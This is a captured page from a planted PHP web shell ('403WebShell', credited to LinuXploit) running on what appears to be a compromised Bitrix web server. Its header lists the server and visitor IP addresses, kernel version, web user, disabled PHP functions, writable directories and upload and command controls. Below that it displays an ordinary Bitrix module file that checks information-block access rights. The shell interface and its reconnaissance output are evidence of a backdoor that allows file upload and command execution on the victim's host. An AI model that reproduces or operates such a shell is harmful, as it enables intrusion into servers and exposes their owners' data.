%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.149.247.223
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/asd.iblock/classes/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/asd.iblock/classes/general/iblock_rights.php
<?php

class CASDIblockRights {

	static protected $boolCheck = false;
	static protected $boolExtRights = false;

	public static function GetCheck() {
		return self::$boolCheck;
	}

	public static function GetExtRights() {
		return self::$boolExtRights;
	}

	public static function CheckExtRights() {
		if (!self::$boolCheck) {
			self::$boolExtRights = CASDModuleVersion::checkMinVersion('iblock', '11.0.5');
			self::$boolCheck = true;
		}
	}

	public static function CheckIBlockOperation($intIBlockID, $strOperation, $strAccess) {
		$intIBlockID = intval($intIBlockID);
		if ($intIBlockID <= 0) {
			return false;
		}
		if (!self::$boolCheck) {
			self::CheckExtRights();
		}
		if (self::$boolExtRights) {
			return CIBlockRights::UserHasRightTo($intIBlockID, $intIBlockID, $strOperation);
		} else {
			return (CIBlock::GetPermission($intIBlockID) >= $strAccess);
		}
	}

	public static function CheckSectionOperation($intIBlockID, $intSectionID, $strOperation, $strAccess) {
		$intIBlockID = intval($intIBlockID);
		if ($intIBlockID <= 0) {
			return false;
		}
		$intSectionID = intval($intSectionID);
		if ($intSectionID < 0) {
			return false;
		}
		if (!self::$boolCheck) {
			self::CheckExtRights();
		}
		if (self::$boolExtRights) {
			return CIBlockSectionRights::UserHasRightTo($intIBlockID, $intSectionID, $strOperation);
		} else {
			return (CIBlock::GetPermission($intIBlockID) >= $strAccess);
		}
	}

	public static function CheckElementOperation($intIBlockID, $intElementID, $strOperation, $strAccess) {
		$intIBlockID = intval($intIBlockID);
		if ($intIBlockID <= 0) {
			return false;
		}
		$intElementID = intval($intElementID);
		if ($intElementID <= 0) {
			return false;
		}
		if (!self::$boolCheck) {
			self::CheckExtRights();
		}
		if (self::$boolExtRights) {
			return CIBlockElementRights::UserHasRightTo($intIBlockID, $intElementID, $strOperation);
		} else {
			return (CIBlock::GetPermission($intIBlockID) >= $strAccess);
		}
	}

	public static function IsIBlockDisplay($intIBlockID) {
		return self::CheckIBlockOperation($intIBlockID, 'iblock_admin_display', 'W');
	}

	public static function IsIBlockEdit($intIBlockID) {
		return self::CheckIBlockOperation($intIBlockID, 'iblock_edit', 'X');
	}

	public static function IsIBlockElementCreate($intIBlockID) {
		return self::CheckIBlockOperation($intIBlockID, 'section_element_bind', 'W');
	}

	public static function IsIBlockElementDelete($intIBlockID) {
		return self::CheckIBlockOperation($intIBlockID, 'element_delete', 'W');
	}

	public static function IsIBlockElementEdit($intIBlockID) {
		return self::CheckIBlockOperation($intIBlockID, 'element_edit', 'W');
	}

	public static function IsIBlockSectionCreate($intIBlockID) {
		return self::CheckIBlockOperation($intIBlockID, 'section_section_bind', 'W');
	}

	public static function IsIBlockSectionDelete($intIBlockID) {
		return self::CheckIBlockOperation($intIBlockID, 'section_delete', 'W');
	}

	public static function IsSectionElementCreate($intIBlockID, $intSectionID) {
		return self::CheckSectionOperation($intIBlockID, $intSectionID, 'section_element_bind', 'W');
	}

	public static function IsSectionElementDelete($intIBlockID, $intSectionID) {
		return self::CheckSectionOperation($intIBlockID, $intSectionID, 'element_delete', 'W');
	}

	public static function IsSectionElementEdit($intIBlockID, $intSectionID) {
		return self::CheckSectionOperation($intIBlockID, $intSectionID, 'element_edit', 'W');
	}

	public static function IsSectionSectionCreate($intIBlockID, $intSectionID) {
		return self::CheckSectionOperation($intIBlockID, $intSectionID, 'section_section_bind', 'W');
	}

	public static function IsElementEdit($intIBlockID, $intElementID) {
		return self::CheckElementOperation($intIBlockID, $intElementID, 'element_edit', 'W');
	}

	public static function IsElementDelete($intIBlockID, $intElementID) {
		return self::CheckElementOperation($intIBlockID, $intElementID, 'element_delete', 'W');
	}

	public static function IsElementEditPrice($intIBlockID, $intElementID) {
		return self::CheckElementOperation($intIBlockID, $intElementID, 'element_edit_price', 'W');
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit